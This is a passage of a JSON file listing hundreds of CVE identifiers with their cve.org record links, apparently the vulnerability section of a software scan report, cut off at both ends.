"name": "CVE-2025-5025",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5025"
},
{
"name": "CVE-2026-86410",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86410"
},
{
"name": "CVE-2026-84304",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84304"
},
{
"name": "CVE-2026-56405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56405"
},
{
"name": "CVE-2026-63076",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63076"
},
{
"name": "CVE-2024-34459",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-34459"
},
{
"name": "CVE-2025-49795",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-49795"
},
{
"name": "CVE-2025-14104",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14104"
},
{
"name": "CVE-2026-103111",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-103111"
},
{
"name": "CVE-2026-78667",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78667"
},
{
"name": "CVE-2026-34165",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34165"
},
{
"name": "CVE-2026-93749",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93749"
},
{
"name": "CVE-2026-49264",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49264"
},
{
"name": "CVE-2026-6100",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6100"
},
{
"name": "CVE-2026-59083",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59083"
},
{
"name": "CVE-2021-46848",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-46848"
},
{
"name": "CVE-2026-78659",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78659"
},
{
"name": "CVE-2026-32280",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32280"
},
{
"name": "CVE-2026-56411",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56411"
},
{
"name": "CVE-2026-50106",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50106"
},
{
"name": "CVE-2025-47912",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47912"
},
{
"name": "CVE-2026-16742",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16742"
},
{
"name": "CVE-2026-77404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77404"
},
{
"name": "CVE-2026-70452",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70452"
},
{
"name": "CVE-2026-3276",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3276"
},
{
"name": "CVE-2025-11414",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11414"
},
{
"name": "CVE-2025-66861",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66861"
},
{
"name": "CVE-2026-4438",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4438"
},
{
"name": "CVE-2026-119376",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119376"
},
{
"name": "CVE-2026-58016",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58016"
},
{
"name": "CVE-2026-90831",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90831"
},
{
"name": "CVE-2026-63383",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63383"
},
{
"name": "CVE-2025-68160",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68160"
},
{
"name": "CVE-2026-59888",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59888"
},
{
"name": "CVE-2026-9545",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9545"
},
{
"name": "CVE-2026-56866",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56866"
},
{
"name": "CVE-2025-2148",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-2148"
},
{
"name": "CVE-2024-2236",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-2236"
},
{
"name": "CVE-2023-4039",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-4039"
},
{
"name": "CVE-2026-111751",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111751"
},
{
"name": "CVE-2025-54410",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-54410"
},
{
"name": "CVE-2026-60001",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-60001"
},
{
"name": "CVE-2026-3441",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3441"
},
{
"name": "CVE-2026-56857",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56857"
},
{
"name": "CVE-2026-80229",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80229"
},
{
"name": "CVE-2026-86415",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86415"
},
{
"name": "CVE-2026-73194",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73194"
},
{
"name": "CVE-2026-6653",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6653"
},
{
"name": "CVE-2026-50046",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50046"
},
{
"name": "CVE-2025-60753",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-60753"
},
{
"name": "CVE-2026-42011",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42011"
},
{
"name": "CVE-2026-63312",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63312"
},
{
"name": "CVE-2026-56859",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56859"
},
{
"name": "CVE-2026-14680",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14680"
},
{
"name": "CVE-2026-50045",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50045"
},
{
"name": "CVE-2026-77403",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77403"
},
{
"name": "CVE-2026-112393",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112393"
},
{
"name": "CVE-2026-59898",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59898"
},
{
"name": "CVE-2023-50495",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-50495"
},
{
"name": "CVE-2017-11164",
"url": "https://www.cve.org/CVERecord?id=CVE-2017-11164"
},
{
"name": "CVE-2026-14666",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14666"
},
{
"name": "CVE-2026-115506",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-115506"
},
{
"name": "CVE-2026-63380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63380"
},
{
"name": "CVE-2025-61728",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61728"
},
{
"name": "CVE-2026-112403",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112403"
},
{
"name": "CVE-2026-0965",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0965"
},
{
"name": "CVE-2026-112894",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112894"
},
{
"name": "CVE-2026-66422",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66422"
},
{
"name": "CVE-2025-1767",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1767"
},
{
"name": "CVE-2026-6844",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6844"
},
{
"name": "CVE-2026-112946",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112946"
},
{
"name": "CVE-2026-4224",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4224"
},
{
"name": "CVE-2026-111181",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111181"
},
{
"name": "CVE-2026-111063",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111063"
},
{
"name": "CVE-2026-53489",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53489"
},
{
"name": "CVE-2025-58186",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58186"
},
{
"name": "CVE-2026-33997",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33997"
},
{
"name": "CVE-2026-18798",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18798"
},
{
"name": "CVE-2026-56853",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56853"
},
{
"name": "CVE-2026-34183",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34183"
},
{
"name": "CVE-2025-13034",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13034"
},
{
"name": "CVE-2025-8714",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8714"
},
{
"name": "CVE-2026-78437",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78437"
},
{
"name": "CVE-2025-9086",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9086"
},
{
"name": "CVE-2026-16730",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16730"
},
{
"name": "CVE-2026-82474",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82474"
},
{
"name": "CVE-2026-35193",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35193"
},
{
"name": "CVE-2024-10041",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-10041"
},
{
"name": "CVE-2025-8869",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8869"
},
{
"name": "CVE-2026-41006",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41006"
},
{
"name": "CVE-2026-53495",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53495"
},
{
"name": "CVE-2026-70454",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70454"
},
{
"name": "CVE-2025-58187",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58187"
},
{
"name": "CVE-2026-45205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45205"
},
{
"name": "CVE-2026-19445",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19445"
},
{
"name": "CVE-2026-53790",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53790"
},
{
"name": "CVE-2026-48959",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48959"
},
{
"name": "CVE-2022-4899",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-4899"
},
{
"name": "CVE-2026-77117",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77117"
},
{
"name": "CVE-2026-13506",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13506"
},
{
"name": "CVE-2026-78367",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78367"
},
{
"name": "CVE-2026-48706",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48706"
},
{
"name": "CVE-2026-14673",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14673"
},
{
"name": "CVE-2022-1559",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-1559"
},
{
"name": "CVE-2026-42505",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42505"
},
{
"name": "CVE-2026-49844",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49844"
},
{
"name": "CVE-2026-94447",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94447"
},
{
"name": "CVE-2022-3219",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3219"
},
{
"name": "CVE-2025-13601",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13601"
},
{
"name": "CVE-2025-12817",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12817"
},
{
"name": "CVE-2025-4673",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4673"
},
{
"name": "CVE-2026-67693",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-67693"
},
{
"name": "CVE-2026-119741",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119741"
},
{
"name": "CVE-2026-100408",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-100408"
},
{
"name": "CVE-2018-5709",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-5709"
},
{
"name": "CVE-2026-115456",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-115456"
},
{
"name": "CVE-2026-102473",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102473"
},
{
"name": "CVE-2026-87865",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87865"
},
{
"name": "CVE-2025-5916",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5916"
},
{
"name": "CVE-2026-56406",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56406"
},
{
"name": "CVE-2026-54370",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54370"
},
{
"name": "CVE-2025-69651",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69651"
},
{
"name": "CVE-2026-29181",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29181"
},
{
"name": "CVE-2026-28390",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28390"
},
{
"name": "CVE-2025-32988",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32988"
},
{
"name": "CVE-2026-80206",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80206"
},
{
"name": "CVE-2026-1757",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1757"
},
{
"name": "CVE-2024-10963",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-10963"
},
{
"name": "CVE-2026-112897",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112897"
},
{
"name": "CVE-2026-73229",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73229"
},
{
"name": "CVE-2026-50010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50010"
},
{
"name": "CVE-2026-55379",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55379"
},
{
"name": "CVE-2017-13716",
"url": "https://www.cve.org/CVERecord?id=CVE-2017-13716"
},
{
"name": "CVE-2026-39836",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39836"
},
{
"name": "CVE-2026-62385",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-62385"
},
{
"name": "CVE-2026-39395",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39395"
},
{
"name": "CVE-2026-111065",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111065"
},
{
"name": "CVE-2026-78408",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78408"
},
{
"name": "CVE-2026-6791",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6791"
},
{
"name": "CVE-2026-87862",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87862"
},
{
"name": "CVE-2026-56408",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56408"
},
{
"name": "CVE-2025-14524",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14524"
},
{
"name": "CVE-2025-27113",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-27113"
},
{
"name": "CVE-2026-62388",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-62388"
},
{
"name": "CVE-2026-6845",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6845"
},
{
"name": "CVE-2026-6477",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6477"
},
{
"name": "CVE-2026-0915",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0915"
},
{
"name": "CVE-2025-15281",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15281"
},
{
"name": "CVE-2026-119379",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119379"
},
{
"name": "CVE-2026-14663",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14663"
},
{
"name": "CVE-2026-42767",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42767"
},
{
"name": "CVE-2026-9828",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9828"
},
{
"name": "CVE-2026-50219",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50219"
},
{
"name": "CVE-2025-47913",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47913"
},
{
"name": "CVE-2026-19553",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19553"
},
{
"name": "CVE-2026-24747",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24747"
},
{
"name": "CVE-2026-58280",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58280"
},
{
"name": "CVE-2026-42502",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42502"
},
{
"name": "CVE-2026-59846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59846"
},
{
"name": "CVE-2026-6238",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6238"
},
{
"name": "CVE-2026-0864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0864"
},
{
"name": "CVE-2026-42955",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42955"
},
{
"name": "CVE-2026-63328",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63328"
},
{
"name": "CVE-2026-46582",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46582"
},
{
"name": "CVE-2024-7598",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-7598"
},
{
"name": "CVE-2026-85231",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85231"
},
{
"name": "CVE-2026-114136",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114136"
},
{
"name": "CVE-2026-63379",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63379"
},
{
"name": "CVE-2026-56403",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56403"
},
{
"name": "CVE-2026-81724",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81724"
},
{
"name": "CVE-2026-114138",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114138"
},
{
"name": "CVE-2026-59200",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59200"
},
{
"name": "CVE-2026-2297",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2297"
},
{
"name": "CVE-2026-17084",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17084"
},
{
"name": "CVE-2026-39882",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39882"
},
{
"name": "CVE-2025-58181",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58181"
},
{
"name": "CVE-2025-40909",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-40909"
},
{
"name": "CVE-2026-82562",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82562"
},
{
"name": "CVE-2026-102554",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102554"
},
{
"name": "CVE-2026-107726",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107726"
},
{
"name": "CVE-2025-69720",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69720"
},
{
"name": "CVE-2026-41567",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41567"
},
{
"name": "CVE-2026-4873",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4873"
},
{
"name": "CVE-2026-0967",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0967"
},
{
"name": "CVE-2025-12060",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12060"
},
{
"name": "CVE-2026-44621",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44621"
},
{
"name": "CVE-2025-47914",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47914"
},
{
"name": "CVE-2026-66299",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66299"
},
{
"name": "CVE-2026-53793",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53793"
},
{
"name": "CVE-2024-25621",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-25621"
},
{
"name": "CVE-2025-9403",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9403"
},
{
"name": "CVE-2026-25681",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25681"
},
{
"name": "CVE-2026-86248",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86248"
},
{
"name": "CVE-2026-107386",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107386"
},
{
"name": "CVE-2025-69418",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69418"
},
{
"name": "CVE-2025-8114",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8114"
},
{
"name": "CVE-2026-112899",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112899"
},
{
"name": "CVE-2026-96643",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96643"
},
{
"name": "CVE-2026-86469",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86469"
},
{
"name": "CVE-2016-20013",
"url": "https://www.cve.org/CVERecord?id=CVE-2016-20013"
},
{
"name": "CVE-2026-11979",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11979"
},
{
"name": "CVE-2025-32387",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32387"
},
{
"name": "CVE-2026-71556",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71556"
},
{
"name": "CVE-2026-54517",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54517"
},
{
"name": "CVE-2025-66864",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66864"
},
{
"name": "CVE-2025-22869",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22869"
},
{
"name": "CVE-2026-93990",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93990"
},
{
"name": "CVE-2026-89160",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89160"
},
{
"name": "CVE-2026-62380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-62380"
},
{
"name": "CVE-2026-119371",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119371"
},
{
"name": "CVE-2026-43896",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43896"
},
{
"name": "CVE-2026-4437",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4437"
},
{
"name": "CVE-2026-1299",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1299"
},
{
"name": "CVE-2026-63385",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63385"
},
{
"name": "CVE-2025-1150",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1150"
},
{
"name": "CVE-2026-53803",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53803"
},
{
"name": "CVE-2025-58189",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58189"
},
{
"name": "CVE-2026-50248",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50248"
},
{
"name": "CVE-2025-6021",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6021"
},
{
"name": "CVE-2026-63387",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63387"
},
{
"name": "CVE-2024-29902",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-29902"
},
{
"name": "CVE-2026-0968",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0968"
},
{
"name": "CVE-2024-10978",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-10978"
},
{
"name": "CVE-2026-78669",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78669"
},
{
"name": "CVE-2020-23026",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-23026"
},
{
"name": "CVE-2026-8925",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8925"
},
{
"name": "CVE-2023-7008",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-7008"
},
{
"name": "CVE-2026-3644",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3644"
},
{
"name": "CVE-2026-89044",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89044"
},
{
"name": "CVE-2026-78661",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78661"
},
{
"name": "CVE-2026-70174",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70174"
},
{
"name": "CVE-2026-27140",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27140"
},
{
"name": "CVE-2026-93575",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93575"
},
{
"name": "CVE-2026-39817",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39817"
},
{
"name": "CVE-2026-56409",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56409"
},
{
"name": "CVE-2026-32316",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32316"
},
{
"name": "CVE-2026-65905",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65905"
},
{
"name": "CVE-2026-42499",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42499"
},
{
"name": "CVE-2026-81869",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81869"
},
{
"name": "CVE-2023-47039",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-47039"
},
{
"name": "CVE-2026-76642",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76642"
},
{
"name": "CVE-2022-40896",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-40896"
},
{
"name": "CVE-2026-56745",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56745"
},
{
"name": "CVE-2026-44604",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44604"
},
{
"name": "CVE-2026-89161",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89161"
},
{
"name": "CVE-2026-89158",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89158"
},
{
"name": "CVE-2016-2781",
"url": "https://www.cve.org/CVERecord?id=CVE-2016-2781"
},
{
"name": "CVE-2025-8225",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8225"
},
{
"name": "CVE-2026-42764",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42764"
},
{
"name": "CVE-2023-29383",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-29383"
},
{
"name": "CVE-2026-55955",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55955"
},
{
"name": "CVE-2026-82049",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82049"
},
{
"name": "CVE-2025-70559",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-70559"
},
{
"name": "CVE-2026-93488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93488"
},
{
"name": "CVE-2026-86144",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86144"
},
{
"name": "CVE-2026-31789",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31789"
},
{
"name": "CVE-2026-79676",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-79676"
},
{
"name": "CVE-2025-22870",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22870"
},
{
"name": "CVE-2026-42311",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42311"
},
{
"name": "CVE-2026-75803",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75803"
},
{
"name": "CVE-2026-54872",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54872"
},
{
"name": "CVE-2026-8643",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8643"
},
{
"name": "CVE-2025-11413",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11413"
},
{
"name": "CVE-2026-5773",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5773"
},
{
"name": "CVE-2025-5245",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5245"
},
{
"name": "CVE-2026-80231",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80231"
},
{
"name": "CVE-2026-19487",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19487"
},
{
"name": "CVE-2026-57585",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57585"
},
{
"name": "CVE-2025-32415",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32415"
},
{
"name": "CVE-2026-8927",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8927"
},
{
"name": "CVE-2026-68770",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68770"
},
{
"name": "CVE-2026-48043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48043"
},
{
"name": "CVE-2026-5745",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5745"
},
{
"name": "CVE-2026-41889",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41889"
},
{
"name": "CVE-2024-23337",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-23337"
},
{
"name": "CVE-2026-112396",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112396"
},
{
"name": "CVE-2026-54411",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54411"
},
{
"name": "CVE-2026-42310",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42310"
},
{
"name": "CVE-2026-12072",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12072"
},
{
"name": "CVE-2026-54513",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54513"
},
{
"name": "CVE-2026-27139",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27139"
},
{
"name": "CVE-2026-112402",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112402"
},
{
"name": "CVE-2026-42501",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42501"
},
{
"name": "CVE-2025-4207",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4207"
},
{
"name": "CVE-2026-6276",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6276"
},
{
"name": "CVE-2026-0992",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0992"
},
{
"name": "CVE-2026-66393",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66393"
},
{
"name": "CVE-2026-75805",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75805"
},
{
"name": "CVE-2026-94266",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94266"
},
{
"name": "CVE-2025-9230",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9230"
},
{
"name": "CVE-2026-42250",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42250"
},
{
"name": "CVE-2026-65927",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65927"
},
{
"name": "CVE-2025-14009",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14009"
},
{
"name": "CVE-2026-92388",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92388"
},
{
